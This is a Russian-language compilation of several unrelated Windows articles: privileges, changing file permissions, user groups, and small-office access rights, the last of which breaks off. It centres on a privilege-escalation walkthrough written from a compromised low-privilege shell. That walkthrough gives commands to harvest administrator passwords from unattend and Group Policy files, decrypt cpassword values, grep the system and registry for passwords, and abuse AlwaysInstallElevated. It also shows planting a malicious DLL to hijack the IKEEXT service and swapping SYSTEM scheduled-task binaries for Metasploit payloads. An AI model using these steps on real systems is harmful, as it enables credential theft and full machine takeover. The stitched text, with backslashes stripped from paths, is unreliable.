Затем измените часовой пояс, закройте и снова откройте окно свойств процесса ” SystemSettings.exe “. И вы увидите, что привилегия “SeTimeZonePrivilege” включилась:

Получается что процесс может иметь какую-то привилегию, но пока он ей не воспользуется, привилегия будет в выключенном состоянии.

Привилегия обхода промежуточных проверок NTFS

А теперь разберём ещё одну интересную привилегию. Она позволяет получить доступ к файлу, даже если у вас нет доступа к папке в которой этот файл находится. Такая привилегия называется SeNotifyPrivilege.

Во-первых создайте папку, а внутри этой папки создайте новый текстовый документ. Затем перейдите в Проводнике к этому файлу, откройте его свойства и перейдите на вкладку “Безопасность“. Там щелкните на кнопке “Дополнительно” и снимите флажок “Наследование“. А затем примените изменения. Когда появится предложение удалить или скопировать права наследования, выберите “Копировать“.

Теперь измените безопасность новой папки, чтобы у вашей учетной записи не было никакого доступа к ней. Для этого выберите свою учетную запись, а затем выберите все флажки “Запретить” в списке разрешений.

Запустите программу “Блокнот“. В меню “Файл” выберите команду “Открыть” и перейдите к новому каталогу. Вы не сможете открыть его, так как доступ быть запрещен. Но вы можете в поле “Имя файла” диалогового окна “Открыть” набрать полный путь к новому файлу. После чего файл должен открыться.

Если бы у вашей учетной записи не было “Привилегии обхода промежуточных проверок“, то NTFS выполнял бы проверки доступа к каждому каталогу пути при попытке открыть файл. Что в данном примере привело бы к запрещению доступа к файлу.

Супер привилегии

Это очень серьёзные привилегии и при включенной системе UAC они будут предоставляться только приложениям запущенным на высоком уровне целостности ( high или выше). Ну и конечно учетная запись должна обладать этими привилегиями.

Вот список таких супер привилегий:

• Проводить отладку программ. Пользователь с этой привилегией может открывать любой процесс в системе, не обращая внимания на имеющийся у процесса дескриптор безопасности. И может не только смотреть содержимое памяти процесса, но и выполнить свой код от имени этого процесса.
• Приобретать права владения. Эта привилегия позволяет приобретать права владения любым объектом в системе.
• Восстанавливать файлы и каталоги. Пользователь, получивший эту привилегию, может заменять любые файлы в системе своими собственными файлами.
• Загружать и выгружать драйверы устройств. Такая привилегия позволит загрузить в систему любой драйвер, который будет работать в режиме ядра.
• Создавать объект маркера. Эта привилегия может использоваться, чтобы запустить приложение с любым маркером доступа.
• Действовать в качестве части операционной системы. Эта привилегия позволяет устанавливать доверенное подключение к LSASS, что даст возможность создавать новые сеансы входа в систему.

Помимо всего прочего, следует помнить, что привилегии не выходят за границы одной машины и не распространяются на сеть.

---

Вернуться к оглавлению

Возможно, вам придется поделиться своим компьютером со многими людьми по разным причинам. Windows 10 предлагает и управляет всеми правами доступа к файлам на системном уровне. Он защищает ваши данные от других пользователей. На ПК с Windows 10 файлы, созданные пользователями, по умолчанию легко доступны. Вы можете изменить права доступа к файлам Windows 10, если вы являетесь администратором, что позволит другим пользователям редактировать только свои файлы. Права доступа к файлам можно легко изменить. В этой статье мы предлагаем вам полезное руководство, которое научит вас, как изменить права доступа к файлам в Windows 10.

В Windows 10у вас могут возникнуть проблемы с правами доступа к файлам в следующих случаях:

• Когда другие пользователи указали разрешения для файлов, которые вам не разрешено просматривать на общем ПК.
• Вы хотите изменить системные файлы, хотя редактирование системных файлов не рекомендуется, так как это может привести к неожиданным проблемам.
• Защищенные данные, загруженные с USB-накопителя или внешнего устройства, которые вы хотите изменить на своем ПК.
• Вы хотите внести изменения в файлы, которые были перенесены из других операционных систем, таких как macOS.
• Вы хотите удалить авторизацию других пользователей, чтобы они не могли просматривать определенные общие файлы.

Отличаются ли права доступа к файлам и атрибуты файлов?

Прежде чем научиться изменять права доступа к файлам в Windows 10, важно понимать разницу между правами доступа к файлам и атрибутами.

• Атрибуты файла — это свойства файла. Например, доступен ли он только для чтения или нет. Атрибуты остаются неизменными, даже если файл копируется, загружается, загружается или отправляется по почте. Обычно для изменения атрибутов не требуются права администратора.

• Права доступа к файлам — обычно они являются эксклюзивными для ПК, т. е. разрешения могут измениться, если файл будет открыт на другом ПК. Они контролируют, кто может получить доступ к файлам и их содержимому.

О чем следует помнить

Прежде чем мы перейдем к тому, как вы можете изменить разрешения в Windows 10, вы должны знать уровень прав пользователя, необходимый вам для изменения прав доступа к файлам в Windows 10.

• Системные файлы и папки: для изменения прав доступа к файлам необходимы права администратора.
• Пользовательские файлы: вам требуются права администратора или учетные данные для учетной записи пользователя Windows.
• Файлы, принадлежащие TrustedInstaller: для внесения изменений в файл или папку, контролируемую TrustedInstaller, необходимы права администратора.

Способ 1: изменить профиль пользователя в свойствах безопасности папки

Этот метод применим ко всем пользователям. Как правило, работа с файлами и папками, которыми вы владеете, не является проблемой. Однако люди сообщают, что не могут изменять файлы, которыми они владеют или создали. После входа в систему с правильной учетной записью пользователя выполните следующие действия, чтобы изменить права доступа к файлам в Windows 10.

1. Откройте проводник, одновременно нажав клавиши Win + E.

2. Перейдите к файлу, права доступа которого вы хотите изменить.

3. Щелкните его правой кнопкой мыши и выберите в контекстном меню пункт Свойства.

4. Перейдите на вкладку «Безопасность» и нажмите «Изменить».

Вы можете проверить и изменить разрешения для каждого из перечисленных пользователей или групп в следующем окне.

5. Выберите пользователя или группу.

6. Для каждого пользователя вы можете получить разные разрешения. Например, если в столбце «Запретить» установлен флажок «Полный доступ», выбранный пользователь не сможет открыть файл.

7. Вы увидите следующие варианты:

• Полный доступ — файл может быть прочитан, записан, изменен или удален пользователем.

• Modify — файл может быть прочитан, записан и изменен пользователем.

• Чтение и выполнение — файл можно прочитать или запустить выбранный файл.

• Список содержимого папки — файл можно просмотреть в выбранной папке.

• Чтение — файл может быть открыт пользователем.

• Запись — файл может быть отредактирован или создан пользователем.

Установите флажки разрешений в соответствии с вашими требованиями. Щелкните Применить > ОК.

Способ 2: заменить все записи разрешений дочерних объектов

В некоторых случаях разрешение изменить нельзя. Разрешения в столбце «Разрешить» выделены серым цветом и не могут быть выбраны. Вы можете изменить это, перейдя в Дополнительные настройки, вот как это сделать.

1. Выполните шаги 1, 2 и 3 из метода 1, чтобы открыть свойства папки.

2. Перейдите на вкладку «Безопасность» и нажмите «Дополнительно».

3. Установите флажок «Заменить все записи разрешений дочерних объектов на записи разрешений, наследуемые от этого объекта», и выберите свою учетную запись в качестве пользователя.

4. Щелкните Применить. После этого появится запрос подтверждения, нажмите Да на нем.

Вы должны иметь возможность просматривать и изменять права доступа к выбранной папке или файлам и понимать, как изменить права доступа к файлам в Windows 10.

Способ 3: добавить новый профиль администратора

Иногда пользователь вообще не упоминается в списке пользователей или групп. Вы должны вручную добавить пользователя в этот сценарий, прежде чем сможете предоставить ему разрешение. В противном случае они не смогут получить доступ к файлам, поскольку их нет в списке пользователей. Выполните следующие действия, чтобы добавить пользователя и предоставить ему права доступа к файлам.

1. Щелкните правой кнопкой мыши папку/файл, к которому вы хотите предоставить общий доступ, и выберите в меню Свойства.

2. Перейдите на вкладку «Безопасность» и выберите «Изменить».

3. Нажмите Добавить.

4. В поле Введите имя объекта для выбора окна подсказки введите имя пользователя, которому вы хотите предоставить доступ. Нажмите «Проверить имена». Он автоматически выберет имя пользователя и проверит его. Нажмите «ОК».

5. Теперь имя пользователя появится на вкладке «Безопасность» в разделе «Имена групп или пользователей».

6. Выберите имя пользователя и предоставьте ему необходимое разрешение. Щелкните Применить > ОК.

Способ 4: сменить владельца на администратора

Вы можете легко изменить права доступа к файлу, взяв его во владение. Это самый простой способ изменить файл. Следуйте приведенным ниже инструкциям, чтобы получить полный контроль над файлом, взяв его на себя.

Вариант I. Изменение владельца в дополнительных настройках безопасности

1. Выполните шаги 1 и 2 из метода 2, чтобы перейти к дополнительным параметрам безопасности.

2. Нажмите «Изменить» рядом с разделом «Владелец» в верхней части страницы.

3. Появится всплывающее окно. Введите свое имя пользователя в поле Введите имя объекта для выбора. Выберите «Проверить имена» и подождите, пока они не будут проверены. Нажмите OK, чтобы сохранить изменения.

4. Теперь раздел владельца будет обновлен. Чтобы сохранить изменения, установите флажок «Заменить владельца вложенных контейнеров и объектов», затем нажмите «Применить» и «ОК».

Примечание. Вы можете установить флажок «Заменить все записи разрешений дочерних объектов», как советуют некоторые эксперты.

Вариант II. Предоставление прав доступа к файлам вручную

В редких случаях вам может потребоваться вручную предоставить доступ к файлам для вашей учетной записи. Для этого просто выполните следующие действия:

1. Перейдите к дополнительным параметрам безопасности.

2. Будет показан список всех пользователей. Нажмите кнопку «Добавить», если ваша учетная запись пользователя не отображается.

3. Щелкните Выбрать принципала.

4. Теперь введите имя своей учетной записи пользователя в поле подсказки, как показано на шаге 3 метода 4.

5. Выберите Полный доступ. В поле «Тип» выберите «Разрешить», а в разделе «Применяется» выберите «Эта папка, подпапки и файлы». Нажмите «ОК».

Теперь у вас есть полный доступ к выбранному файлу.

Вариант III: через командную строку

Если вы все еще не можете стать владельцем файла, вы можете использовать командную строку, которая напрямую изменит свойства файла. Вот как изменить права доступа к файлам в Windows 10 с помощью командной строки.

1. Нажмите клавишу Windows, введите «Командная строка» и нажмите «Запуск от имени администратора».

2. Введите следующую команду и нажмите клавишу Enter.

takeown /f path_to_folder /r /d y 

Примечание. Замените path_to_folder на путь к папке/файлу, владельцем которого вы хотите стать.

3. Теперь введите следующую команду и нажмите клавишу Enter.

icacls path_to_folder /grant administrators:F /T 

Примечание. Замените администраторов своей учетной записью/именем пользователя.

Теперь у вас должен быть полный доступ к выбранной папке/файлу после выполнения этих двух команд.

Часто задаваемые вопросы (FAQ)

В. Что такое разрешения в Windows 10?

Ответ: Разрешения для приложений позволяют им получать доступ к определенным компонентам вашего устройства, таким как аппаратное обеспечение, такое как GPS, для определения вашего местоположения или программное обеспечение, такое как камера. Очень важно понимать, какие программы используют какие разрешения.

***

Мы надеемся, что это руководство было полезным, и вы смогли узнать, как изменить права доступа к файлам в Windows 10. Сообщите нам, какой метод сработал для вас лучше всего. Если у вас есть какие-либо вопросы или предложения, не стесняйтесь оставлять их в разделе комментариев.

Мы уже обсуждали возможности Windows по настройке прав доступа пользователей к определенным объектам. Данными объектами выступали папки или файлы. Соответственно, мы могли дать некоторым пользователям доступ к выбранным объектам, а некоторым запретить. Права доступа к файлам это одно, а вот как настроить права доступа к определенным компонентам и возможностям операционной системы Windows? Как одному пользователю разрешить пользоваться удаленным рабочим столом, а второму запретить изменять настройки сети или времени? Тут уже обычными правами доступа NTFS не обойтись.

Для решения данной проблемы в Windows есть специальные группы пользователей с определенными правами доступа. Самые известные и наиболее используемые группы пользователей Windows — это группы Администраторы, Пользователи и Гости. Права пользователей входящих в данные группы приблизительно понятны, но сегодня я познакомлю Вас с ними поближе. Кроме этого не стоит забывать, что количество групп пользователей колеблется от 10 до 20-25, поэтому Вам будет интересно узнать про основные из них.

Как изменить права доступа пользователя?

В Windows имеется два инструмента, которые позволяют манипулировать содержимым групп пользователей операционной системы Windows. Другими словами, добавить пользователя в определенную группу или, наоборот, выкинуть его оттуда под силу сразу двум инструментам Windows:

1. Консоль Управление компьютером.
2. Редактор локальной групповой политики.

Рассмотрим оба варианта.

Настройка групп пользователей Windows через консоль Управление компьютером

Как добавить пользователя в группу пользователей Windows:

1. Выполните клик правой кнопкой компьютерной мышки по пункту Мой компьютер.
2. В контекстном меню выберите пункт Управление.
3. В открывшемся окне раскройте узел Локальные пользователи и группы.
4. Выберите узел Группы.
5. В центральном окне выберите необходимую группу и откройте ее.
6. В открывшемся окне выберите пункт Добавить.
7. В следующем окне введите имя пользователя Windows, которого Вы хотите добавить в данную группу. При необходимости воспользуйтесь кнопкой Проверить имена.
8. После выбора пользователя или сразу нескольких пользователей, жмите кнопку ОК.

Как удалить пользователя из группы:

1. Проделайте первые 5 пунктов описанные выше.
2. В открывшемся окне выберите нужного пользователя и нажмите кнопку Удалить.
3. Нажмите ОК.

Работа с группами пользователей Windows в Редакторе локальной групповой политики

Как добавить/удалить пользователя в/из группу/группы пользователей WIndows:

1. Через меню Выполнить откройте Редактор локальной групповой политики. Вызываемый файл носит имя gpedit.msc.
2. Перейдите в узел Конфигурация компьютера — Конфигурация Windows — Параметры безопасности — Локальные политики — Назначение прав пользователей.
3. Выберите необходимую политику(каждая политика подразумевает в себе определенные права доступа).
4. Далее необходимо действовать по аналогии — для добавления пользователя проделайте пункты 6-8, а для удаления 2-3 из соответствующих пунктов настройки через консоль Управление компьютером.

Разница политик от консоли Управление компьютера в том, что они позволяют настроить права доступа по винтикам. Если группы пользователей Windows в Управлении компьютером имеют довольно обширные права и запреты, то политики позволяют настроить права пользователей Windows до такой мелочи, как возможность изменения времени или часового пояса.

Группы пользователей в Windows и их права доступа

А вот и долгожданный список основных групп пользователей Windows:

• Администраторы. Неограниченный доступ.
• Операторы архива. Члены данной группы имеют права создания резервной копии даже тех объектов, к которым не имеют доступа.
• Опытные пользователи. Толку от них немного, так как группа включена только для совместимости с предыдущими версиями
• Пользователи системного монитора. Есть чудесная вещь под названием Системный монитор(perfmon.msc), с помощью которого можно отследить использование различных ресурсов компьютером. А группа дает доступ к данному инструменту.
• Операторы настройки сети. Члены группы могут изменять параметры TCP/IP.
• Пользователи удаленного рабочего стола. Пользователи этой группы смогут входить в систему через удаленный рабочий стол.
• Пользователи журналов производительности. 4-ая группа дает только поверхностный доступ к Системному монитору. Данная группа дает более полные права.
• Пользователи DCOM. Пользователи группы могут манипулировать объектами распределенной модели DCOM.
• Криптографические операторы. Члены данной группы могут выполнять криптографические операции.
• Читатели журнала событий. Думаю объяснять нету смысла, все предельно ясно.

Данный список может быть намного шире. Тут приведены только основные группы пользователей Windows, которые встречаются практически на всех машинах под управлением операционной системы от Microsoft.

Время прочтения
10 мин

Просмотры 38K

Решил для себя и для тех, кому будет полезно, собрать все что знаю, но не помню по теме, в этой статье. Делитесь советами. Основным источником этой статьи является эта.

Я вольно перевел и добавил немного от себя, того, что насобирал и узнал из других источников.

В общем, тут представлены способы, которые помогут нам достигнуть цели повышения привилегий.

Отправной точкой для этой небольшой статьи является непривилегированная оболочка (учетная запись). Возможно, мы использовали эксплойт или провели атаку и получили эту оболочку.

В принципе, в начальный момент времени мы не понимаем машину: что она делает, к чему она подключена, какой уровень привилегий у нас есть или даже какая это операционная система.

Сначала нам нужно получить нужную нам информацию, чтобы понять, где мы вообще находимся и что имеем:

systeminfo | findstr /B /C:"Название ОС" /C:"Версия ОС"

Эта команда позволяет определить, как из нее видно, Название и версию ОС. Можно выполнить ее и без параметров, тогда вывод команды будет более полным, но нам достаточно и этого.

Далее важно узнать имя машины и имя пользователя, под которым мы подключились.

• hostname — имя пользователя.
• echo %username% — имя пользователя.

Далее посмотрим, какие пользователи есть еще на данном хосте и получим более подробную информацию о своем пользователе.

• net users — другие пользователи
• net user user1 — детальная информация по пользователю, где user1 — имя вашего пользователя.

Получив информацию об учетке, посмотрим информацию о сетевом взаимодействии данного хоста.

Сначала глянем на имеющиеся интерфейсы и таблицу маршрутизации.

• ipconfig /all — информация об имеющихся интерфейсах.
• route print — таблица маршрутизации
• arp -A — таблица arp записей

Далее посмотрим активные сетевые подключения и правила брандмауэра.

• netstat -ano — активные сетевые подключения.

-a — запуск с данным параметром выведет на экран все активные подключения TCP, а также порты TCP и UDP, прослушиваемые системой;
-n — параметр позволяет показать активные подключения TCP с адресами и номерами портов;
-o — так же, как и предыдущий ключ, выводит активные TCP подключения, но в статистику добавлены коды процессов, по ним уже можно точно определить, какое именно приложение использует подключение.

• netsh firewall show state — статус брандмауэра
• netsh firewall show config — конфигурация брандмауэра

Наконец, мы кратко рассмотрим, что работает на скомпрометированном хосте: запланированные задачи, запущенные процессы, запущенные службы и установленные драйверы.

schtasks /query /fo LIST /v

где
/query — Вывод данных о всех запланированных задачах,
/fo LIST — Вывод в список.
/v — Вывод подробных сведений о задании.

Следующая команда связывает запущенные процессы с запущенными службами.

tasklist /SVC

где,
/SVC — Отображение служб для каждого процесса.

Также посмотрим список запущенных служб Windows.

net start

Полезно также посмотреть информацию о драйверах скомпрометированной системы.

DRIVERQUERY

Далее хочется упомянуть о, наверное, самой полезной команде Windows — wmic. Команда WMIC (Windows Management Instrumentation Command) используется для получения сведений об оборудовании и системе, управления процессами и их компонентами, а также изменения настроек с использованием возможностей инструментария управления Windows (Windows Management Instrumentation или WMI). Хорошее описание.

К сожалению, некоторые конфигурации Windows по умолчанию не разрешают доступ к WMIC, если пользователь не входит в группу Администраторов (что действительно хорошая идея). Любая версия XP не позволяла доступ к WMIC с непривилегированной учетной записи.

Напротив, Windows 7 Professional и Windows 8 Enterprise по умолчанию позволяли пользователям с низкими привилегиями использовать WMIC.

По обычаю — параметры программы:

wmic /?

Хороший скрипт по сбору инфы через wmic.

Прежде чем идти дальше стоит пробежаться по собранной информации. Также стоит обратить внимание на установленные в системе патчи, так как любая информация о дырах в системе даст нам дополнительную опору для повышения своих привилегий. По номеру HotFix можно поискать уязвимости по повышению привилегий.

Далее мы рассмотрим автоматическую установку. Если существует необходимость установки и настройки большого парка машин, то как правило, технический персонал не будет перемещаться от машины к машине для настройки персонального каждой. Существует несколько решений для автоматической установки. Для нас не так важно, что это за методы и как они работают, а важно то, что они оставляют конфигурационные файлы, которые используются для процесса установки, содержащие много конфиденциальной информации, такой как ключ продукта операционной системы и пароль администратора. Что нас больше всего интересует, так это пароль администратора, который мы можем использовать для повышения наших привилегий.

Как правило, это следующие каталоги:

• c:sysprep.inf
• c:sysprepsysprep.xml
• %WINDIR%PantherUnattendUnattended.xml
• %WINDIR%PantherUnattended.xml

Но стоит проверить и всю систему.

Данные файлы содержат пароли в открытом виде или кодировке BASE64.
Примеры:

Sysprep.inf — пароль в открытом виде.

»

Sysprep.xml — пароль в кодировке base64.

»

Unattended.xml — пароль в кодировке base64.

Также для хостов, подключенных к домену можно поискать файл Group.xml, который содержит зашифрованный AES256 пароль, но который можно расшифровать, т.к. ключ выложен на msdn (https://msdn.microsoft.com/en-us/library/cc422924.aspx) и других источниках. Но это в случае, если используется политика создания локальных пользователей на хостах или, например, задании пароля локальному Администратору.

Например, у меня лежит тут:

Открыв его, ищем параметр “cpassword”.

Далее нужно расшифровать данную последовательность. Используем, например, CrypTool. Сначала раскодируем Base64.
Особенности Base64 в том, что его длина должна быть кратна 4. Поэтому считаем блоки по 4, и если в последнем блоке не хватает символов, то недостающие дописываем символами «=».
У меня вышло 2 «=».

Далее расшифруем. Применяя тот ключ, что выше.

Убираем лишние точки, разделяющие знаки и получаем пароль.

В дополнение к Group.xml вот несколько других файлов предпочтений политики, которые могут иметь дополнительный набор атрибутов «cPassword”:

• ServicesServices.xml
• ScheduledTasksScheduledTasks.xml
• PrintersPrinters.xml
• DrivesDrives.xml
• DataSourcesDataSources.xml

Однако мы все любим автоматизированные решения, поэтому мы можем добраться до финиша как можно быстрее. Здесь есть два основных варианта, в зависимости от типа оболочки/доступа, который у нас есть. Существует модуль metasploit, который может быть выполнен через установленную сессию (https://www.rapid7.com/db/modules/post/windows/gather/credentials/gpp) или Вы можете использовать Get-GPPPassword, который является частью PowerSploit.

Ладно, дальше. Будем искать странный параметр реестра „AlwaysInstallElevated“. Данный параметр разрешает непривилегированным пользователям устанавливать .msi файлы из-под NT AUTHORITYSYSTEM.

Для того, чтобы иметь возможность использовать это, мы должны проверить, что оба раздела реестра установлены, и если это так, мы можем получить SYSTEM shell. Проверим:

reg query HKLMSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated

reg query HKCUSOFTWAREPoliciesMicrosoftWindowsInstallerAlwaysInstallElevated

В состав Metasploit входит специальный модуль exploit/windows/local/always_install_elevated, который создает MSI-файл со встроенным в него специальным исполняемым файлом, который извлекается и выполняется установщиком с привилегиями системы. После его выполнения msi-файл прекращает установку, чтобы предотвратить регистрацию действия в системе. К тому же если запустить установку с ключом /quiet, то даже не выведется ошибка.

Ну и немного полезных команд по поиску по системе:

Команда ниже будет искать в файловой системе имена файлов, содержащие определенные ключевые слова. Вы можете указать любое количество ключевых слов.

dir /s *pass* == *cred* == *vnc* == *.config*

Поиск определенных типов файлов по ключевому слову, эта команда может генерировать много выходных данных.

findstr /si password *.xml *.ini *.txt

Аналогично две команды ниже могут быть использованы для grep реестра по ключевым словам, в данном случае „password“.

reg query HKLM /f password /t REG_SZ /s

reg query HKCU /f password /t REG_SZ /s

На данный момент у нас уже есть достаточно, чтобы получить системный шел. Но есть еще пара направленbй атаки для получения желаемого результата: мы рассмотрим службы Windows и разрешения для файлов и папок. Наша цель здесь — использовать слабые разрешения для повышения привилегий сеанса.

Мы будем проверять много прав доступа, в этом нам поможет accesschk.exe, который является инструментом от Microsoft Sysinternals Suite. Microsoft Sysinternals содержит много отличных инструментов. Пакет можно загрузить с сайта Microsoft technet (https://docs.microsoft.com/ru-ru/sysinternals/downloads/sysinternals-suite).

Мы можем проверить необходимый уровень привилегий для каждой службы с помощью accesschk.

Мы можем видеть разрешения, которые имеет каждый уровень пользователя.

Accesschk может автоматически проверять, есть ли у нас доступ на запись к службе Windows с определенным уровнем пользователя. Как правило, как пользователь с низкими привилегиями, мы хотим проверить „Пользователей“. Удостоверьтесь, что проверили, к каким группам пользователей вы принадлежите.

-c В качестве имени указана служба Windows, например ssdpsrv (укажите “*” для вывода на экран всех служб)
-d Обрабатывать только каталоги
-e Выводить только явным образом заданные уровни целостности (только для ОС Windows Vista)
-k В качестве имени указан раздел реестра, например hklmsoftware
-n Выводить только объекты, не имеющие правил доступа
-p В качестве имени указано имя или идентификатор процесса (PID), например cmd.exe (укажите в качестве имени “*”, чтобы вывести на экран все процессы)
-q Опустить заголовок
-r Выводить только объекты, к которым есть право доступа на чтение
-s Рекурсивная обработка
-v Выводить подробную информацию
-w Выводить только объекты, к которым есть право доступа на запись

Также есть еще одна интересная команда:

autorunsc.exe -a | findstr /n /R "File not found"

Позволяет найти запись в реестре о файле, который запускался автоматически, но сейчас уже отсутствует в системе. Запись могла остаться, если например, сервис был неправильно удален. При каждом запуске система безуспешно пытается запустить этот файл. Этой ситуацией также можно воспользоваться для расширения своих полномочий. Просто на место этого файла можно подставить наш.

Далее рассмотрим две уязвимости:

Первая: реплицируем результаты поста, написанного Parvez из GreyHatHacker; „Elevating privileges by exploiting weak folder permissions“ (http://www.greyhathacker.net/?p=738). 

Этот пример является частным случаем угона dll. Программы обычно не могут функционировать сами по себе, у них есть много ресурсов, которые им нужно подключить (в основном dll, но и собственные файлы). Если программа или служба загружает файл из каталога, к которому у нас есть доступ на запись, мы можем злоупотребить этим, чтобы запустить оболочку с привилегиями, под которыми работает программа.

Как правило, приложение Windows будет использовать предопределенные пути поиска, чтобы найти dll, и он будет проверять эти пути в определенном порядке. Dll угон обычно происходит путем размещения вредоносных dll по одному из этих путей. Эта проблема может быть устранена путем указания приложению абсолютных путей к необходимой dll.

Порядок поиска dll:

1. Директория с которой запущено приложение
2. 32-bit System directory (C:WindowsSystem32)
3. 16-bit System directory (C:WindowsSystem)
4. Windows directory (C:Windows)
5. Действующая рабочая директория (CWD)
6. Directories in the PATH environment variable (system then user)

Иногда приложения пытаются загрузить dll файлы, отсутствующие на машине. Это может произойти по нескольким причинам, например, если библиотека dll требуется только для определенных подключаемых модулей или компонентов, которые не установлены. В этом случае Parvez обнаружил, что некоторые службы Windows пытаются загрузить библиотеки dll, которые не существуют в установках по умолчанию.

Так как dll не существует, мы в конечном итоге прохождения всех путей поиска. Как пользователь с низким уровнем привилегий у нас немного шансов положить вредоносный dll в п. 1-4, 5. Но если у нас есть доступ на запись в любой из каталогов, то наши шансы на победу велики.

Давайте посмотрим, как это работает на практике, для нашего примера мы будем использовать IKEEXT (модули ключей IPSec IKE и AuthIP) сервис, который пытается загрузить wlbsctrl.dll.

Любой каталог в „C:“ даст доступ на запись для аутентифицированных пользователей, это дает нам шанс.

C:Usersuser1Desktop> accesschk.exe -dqv "C:Python27"

C:Python27
  Medium Mandatory Level (Default) [No-Write-Up]
  RW BUILTINAdministrators
        FILE_ALL_ACCESS
  RW NT AUTHORITYSYSTEM
        FILE_ALL_ACCESS
  R  BUILTINUsers
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        SYNCHRONIZE
        READ_CONTROL
  RW NT AUTHORITYAuthenticated Users
        FILE_ADD_FILE
        FILE_ADD_SUBDIRECTORY
        FILE_LIST_DIRECTORY
        FILE_READ_ATTRIBUTES
        FILE_READ_EA
        FILE_TRAVERSE
        FILE_WRITE_ATTRIBUTES
        FILE_WRITE_EA
        DELETE
        SYNCHRONIZE
        READ_CONTROL

C:Usersuser1Desktop> icacls "C:Python27"

C:Python27 BUILTINAdministrators:(ID)F
            BUILTINAdministrators:(OI)(CI)(IO)(ID)F
            NT AUTHORITYSYSTEM:(ID)F
            NT AUTHORITYSYSTEM:(OI)(CI)(IO)(ID)F
            BUILTINUsers:(OI)(CI)(ID)R
            NT AUTHORITYAuthenticated Users:(ID)C
            NT AUTHORITYAuthenticated Users:(OI)(CI)(IO)(ID)C

F — полный доступ.
(OI) — наследование объектами.
(CI) — наследование контейнерами.
(IO) — только наследование.
(NP) — запрет на распространение наследования.
(I)- наследование разрешений от родительского контейнера.

Прежде чем перейти к действию, необходимо проверить состояние службы IKEEXT. В этом случае мы можем увидеть, что он установлен на „AUTO_START“!

sc qc IKEEXT

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IKEEXT
        TYPE			: 20  WIN32_SHARE_PROCESS
        START_TYPE		: 2   AUTO_START
        ERROR_CONTROL		: 1   NORMAL
        BINARY_PATH_NAME		: C:Windowssystem32svchost.exe -k netsvcs
        LOAD_ORDER_GROUP		:
        TAG			: 0
        DISPLAY_NAME		: IKE and AuthIP IPsec Keying Modules
        DEPENDENCIES		: BFE
        SERVICE_START_NAME	: LocalSystem

Теперь мы знаем, что у нас есть необходимые условия, и мы можем создать вредоносную dll и перехвата оболочки!

Используем Metasploit -> msfvenom, это например.

После передачи evil.dll на наш целевой компьютер все, что нам нужно сделать, это переименовать его в wlbsctrl.dll и переместить в „C:Python27“. Как только это будет сделано, нам нужно терпеливо ждать перезагрузки машины (или мы можем попытаться принудительно перезагрузить), и мы получим системную оболочку.

copy evil.dll C:Python27wlbsctrl.dll

После этого осталось только дождаться перезагрузки системы. 

Для нашего последнего примера мы рассмотрим запланированные задачи. Опишу принцип, т.к. у всех могут быть разные случаи.

Находим процесс, службу, приложение запускаемое планировщиком задач от SYSTEM.
Проверяем права доступа на папку, где находится наша цель.

accesschk.exe -dqv "путь_к_цели"

Ясно, что это серьезная проблема конфигурации, но еще хуже тот факт, что любой прошедший проверку Пользователь (аутентифицированный пользователь) имеет доступ на запись в эту папку. В этом примере мы можем просто перезаписать двоичный исполняемый файл файлом, сгенерированным в metasploit.

Можно закодировать дополнительно.

Теперь остается только загрузить вредоносный исполняемый файл и перезаписать его в папку выполняемого файла. Как только это будет сделано, мы можем спокойно идти спать и рано с утра получить системный шел.

Эти два примера должны дать нам представление об уязвимостях, которые необходимо искать при рассмотрении разрешений для файлов и папок. Потребуется время, чтобы изучить все пути binpath для служб windows, запланированные задачи и задачи автозапуска.

Напоследок пара советов по использованию accesschk.exe.

Найти все слабые разрешения для папок на диске.

accesschk.exe -uwdqs Users c:
accesschk.exe -uwdqs "Authenticated Users" c:

Найти все слабые разрешения для файлов на диске.

accesschk.exe -uwqs Users c:*.*
accesschk.exe -uwqs "Authenticated Users" c:*.*

Вроде всё.

Права доступа к файлам и папкам простым языком.

На просторах России много фирм и мелких предприятий не имеют в штате своего системного администратора на постоянной основе или приходящего время от времени. Фирма растёт и рано или поздно одной расшаренной папки в сети, где каждый может делать что захочет, становится мало. Требуется разграничение доступа для разных пользователей или групп пользователей на платформе MS Windows. Линуксоидов и опытных админов просьба не читать статью.

Самый лучший вариант — взять в штат опытного админа и задуматься о покупке сервера. Опытный админ на месте сам решит: поднимать ли MS Windows Server с Active Directory или использовать что-то из мира Linux.

Но данная статья написана для тех, кто решил пока мучаться самостоятельно, не применяя современные программные решения. Попытаюсь объяснить хотя бы как правильно реализовывать разграничение прав.

Прежде чем начать хотелось бы разжевать пару моментов:

• Любая операционная система «узнаёт» и «различает» реальных людей через их учётные записи. Должно быть так: один человек = одна учётная запись.
• В статье описывается ситуация, что в фирме нет своего админа и не куплен, к примеру, MS Windows Server. Любая обычная MS Windows одновременно обслуживает по сети не более 10 для WinXP и 20 человек для Win7. Это сделано фирмой Microsoft специально, чтобы клиентские Windows не перебегали дорогу серверам Windows и вы не портили бизнес Microsoft. Помните число 10-20 и когда в вашей фирме будет более 10-20 человек, вам придётся задуматься о покупке MS Windows Server или попросить кого-либо поднять вам бесплатный Linux Samba сервер, у которого нет таких ограничений.
• Раз у вас нет грамотного админа, то ваш обычный комп с клиентской MS Windows будет изображать из себя файловый сервер. Вы вынуждены будете продублировать на нём учётные записи пользователей с других компьютеров, чтобы получать доступ к расшаренным файлам. Другими словами, если есть в фирме ПК1 бухгалтера Оли с учётной записью olya, то и на этом «сервере» (именую его в дальнейшем как WinServer) нужно создать учётную запись olya с таким же паролем, как и на ПК1.
• Люди приходят и уходят. Текучесть кадров есть везде и если вы, тот бедный человек, который не админ и назначен (вынужден) поддерживать ИТ вопросы фирмы, то вот вам совет. Делайте учётные записи, не привязанные к личности. Создавайте для менеджеров — manager1, manager2. Для бухгалтеров — buh1, buh2. Или что-то подобное. Ушёл человек? Другой не обидится, если будет использовать manager1. Согласитесь это лучше, чем Семёну использовать учётную запись olya, так как влом или некому переделывать и уже всё работает 100 лет.
• Забудьте такие слова как: «сделать пароль на папку». Те времена, когда на ресурсы накладывался пароль давным давно прошли. Поменялась философия работы с различными ресурсами. Сейчас пользователь входит в свою систему с помощью учётной записи (идентификация), подтверждая себя своим паролем (аутентификация) и ему предоставляется доступ ко всем разрешённым ресурсам. Один раз вошёл в систему и получил доступ ко всему — вот что нужно помнить.
• Желательно выполнять нижеперечисленные действия от встроенной учётной записи Администратор или от первой учётной записи в системе, которая по умолчанию входит в группу Администраторы.

Приготовление.

